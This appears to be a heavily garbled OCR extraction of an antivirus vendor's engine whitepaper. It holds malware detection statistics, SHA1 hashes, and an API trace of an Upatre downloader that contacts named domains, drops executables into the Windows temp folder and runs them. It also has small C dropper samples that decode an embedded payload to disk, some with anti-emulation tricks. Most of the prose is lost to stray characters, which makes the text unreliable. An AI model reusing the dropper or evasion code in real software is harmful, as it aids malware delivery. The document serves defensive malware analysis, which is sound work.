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1. Windows x86/x64;
2. Linux x86/x64;

3. Mac OS X x86/x64

FreeBSD Unix
Generic Detection
2007 Trojan/C2Lop
i~ 2012 i/
X PE
i
CPU ¥~ /
¥ 1900 i i
i HVM:Adware/InstalleRex.gen!A
2014 ¥ TrojanDownloader/Ogimant.p
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HVM:Adware/InstalleRex.gen!A I e e e T 477,424
Adware/SoftPulse T T T 404,465
HVM:Trojan/Injector.gen T T 362,658
TrojanDownloader/Ogimant.p I T 337,406
HVM:Adware/InstalleRex.gen's I ] 262,519
Adware/Linkury.a I ] 219,260
HEUR:Trojan/VB.Fake.a I I ] 209,135
HEUR:VirTool/Obfuscator.gen!C I ] 205,163
Worm/Picsys I I T 201,326
Virus/KuKu.c I | 195,815
Adware/InstalleRex I ] 190,149
TrojanDownloader/Tugspay I ] 186,614
Trojan/GameSpy.bolgen I ] 168,488
HEUR:VirTool/Obfuscator.gen!B I ] 156,252
Adware/InstalleRex.d I ] 151,348
TrojanDownloader/]S.Agent I T 150,541
Adware/InstalleRex.p I ] 147,772
Virus/Expiro.p I ] 130,242
HVM:Trojan/MalBehav.gen!C I ] 122,069
HVM:VirTool/Obfuscator.gen!A T ] 121,605
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X ¥ i
HVM ¥
1. i/ g4 ¥ Gl
¥
2. i g4 i
i/
TrojanDownloader/Upatre i SHA1

51d17236fbf0236ccd2571e252a9f173f37702a4

a3c20b864669b19407d56€240281d88callclc7f

e
/N
e
i InternetOpen #~ Agent i
N ¥y ¥y
)3 i
52 HVM:TrojanDownloader/Upatre.gen

- 51d17236fbf0236ccd2571€252a9f173f37702a4

KERNEL32!CreateFileW("c:\Windows\temp\cahst.exe", 0x40000000, 0x00000002, 0x00000000,
0x00000002, 000000080, 0x00000000)

KERNEL32!WriteFile(0x00000010, 0x0036582¢, 000015334, 0x0012f99¢, 0x00000000)
KERNEL32!CloseHandle(0x00000008)

KERNEL32!GetTempPathW(0x00001000, "c:\Windows\temp\")
shell32!ShellExecuteW(0x00000000,"open","c:\Windows\temp\cahst.exe",NULL,
"c:\Windows\temp\", 0x00000000)

KERNEL32!ExitProcess(0x00000000)

15/26



Y KiEE

" HUORONG SECURITY

wininet!InternetOpenW("Updates downloader", 0x00000000, NULL, NULL, 0x00000000)
wininet!InternetConnectW(0x00000001, "payrollbureaux.com", 0x00000050, NULL, NULL,
0x00000003, 0x00000000, 0x00000000)

KERNEL32!CreateFileW("c:\Windows\temp\dcare.exe", 0x40000000, 0x00000002, 0x00000000,
0x00000002, 0x00000080, 0x00000000)

KERNEL32!WriteFile(0x00000010, 0x0036582a, 0x0000463a, 0x0012f970, 0x00000000)
KERNEL32!CloseHandle(0x00000008)

KERNEL32!GetTempPathW(0x00001000, "c:\Windows\temp\")
shell32!ShellExecuteW(0x00000000,"open","c:\Windows\temp\dcare.exe",NULL,
"c:\Windows\temp\", 0x00000000)

KERNEL32!ExitProcess(0x00000000)

wininet!internetOpenW("onlymacros", 0x00000000, NULL, NULL, 0x00000000)

wininet!InternetConnectW(0x00000001,"sportcalgary.ca",0x00000050,NULL, NULL, 0x00000003,
0x00000000, 0x00000000)

16 /26



NHTE

DDDDDDDDDDDDDDD

N

N

i

N

1 1%

N

VS.

i

i

i

N

N

N

i

i

i

OEM + ¥ b
i
i
i i
i i
i =3
i
i Y3
i i
i i
i
i
i
Y3 i

17/ 26

i

i

(a®



NHTE

DDDDDDDDDDDDDDD

VS.
i
N
N
i
N
2007
i N

N
&
T K
& i
X ¥
/N
N
N
/N
/N

N

i

18/ 26

i

/N

i

i

i

i



NHTE

HUCRONG SECURITY

/i
R
U U
1.
a)
Y3
b)
¥
c)
i

i

N

1,000

7

N

N i

PE ELF PDF MIME

)3

19/26

N

i

N

10,000

N



NHTE

HUCRONG SECURITY

i/

K
a
¥ 100%
i
i
a
K
a i
a
K i i
i i
i
ik y i
i i
ik
i Decomposition
K K a
a X
K i

20/ 26

N

i/



Y RGEE

HUCRONG SECURITY

i
)3 i 1 PE & PE
i &
)3 i
1 X! 7
i/ & i
i
X! i/ & PE
-3 UPX UPX
(A
i
2 i )3
PE i i/

#include <stdio.h>
int main(int argc, char *argv([])
{
printf("HUORONG ANTIVIRUS ENGINE TEST FILE\n");

return 0;

}

Generic Unpacking

/
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1. f(b) = (b + 1) » 0x88

2. ¥y C mal
mal.dat

3. /

0 X i
#include <stdio.h> 1. =3 ¥

#include "mal.dat"

2. c:\1.bin

int main(int argc, char *argv[]) '

{
FILE *f = fopen("c:\\1.bin", "w+b"); ¥
if (f) {

1 inti; i

for (i = 0; i < sizeof (mal); ++i) ¥ i
mal[i] = (mal[i] » 0x88) - 1;
fwrite(mal, sizeof (mal), 1, f);
fclose(f);
}
return 0;

}

#include <stdio.h> a

#include <stdlib.h> a

#include "mal.dat" a

i

int main(int argc, char *argv([])
{

FILE *f; K
i
exit(0);
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f=fopen("c:\\1.bin", "w+b");
if () {
inti;
for (i = 0; i < sizeof (mal); ++i)
mal[i] = (mal[i] » 0x88) - 1;

fwrite(mal, sizeof (mal), 1, f);

fclose(f);
}
return 0;
}
#include <stdio.h> 1y
#include "mal.dat"
¥
int main(int argc, char *argv(]) c:\1.bin
{ 1
FILE *f=fopen("c:\\1.bin", "w+b"); ¥ - API
if () {
inti; ¥
3 for (i = 0; i < sizeof (mal); ++i) { 1.
char c=mal[i]; ¥ API
c=(c0x88)-1;
fwrite(&c, 1, 1, f); 2.
1 ¥
fclose(f);
}
return 0;
}
#include <stdio.h>
#include "mal.dat" ¥
static void trap(void) { trap(); } 39
¥
int main(int argc, char *argv([]) t
{ Y3 ¥
FILE *f;
4 __try{
trap();

}__except (1) {}
f=fopen("c:\\1.bin", "w+b");
if () {
inti;
for (i = 0; i < sizeof (mal); ++i) {
char ¢ =mal[i];

c=(c”0x88)-1;
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<TECH:>TYPE/<PLATFORM.>Name<!ADDITIONAL_INFORMATION>

TECH HVM
TYPE B
PLATFORM Win32 W32
Name

ADDITIONAL_INFORMATIO

HVM:TrojanDownloader/W32.Upatre.Algen

Trojan

a

a

i

TrojanDownloade

r

i

TrojanSpy

TrojanDropper

TrojanClicker

i

TrojanProxy

¥
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1

'
Backdoor

i

Worm
) ¥
Virus
Ransom I
Rogue
Rootkit
Bootkit 53

- OFFICE
OMacro

dt

DOC

(=1 i
Adware {8

a

Constructor
HackTool
VirTool
Exploit t

'
Joke

¥
TEST
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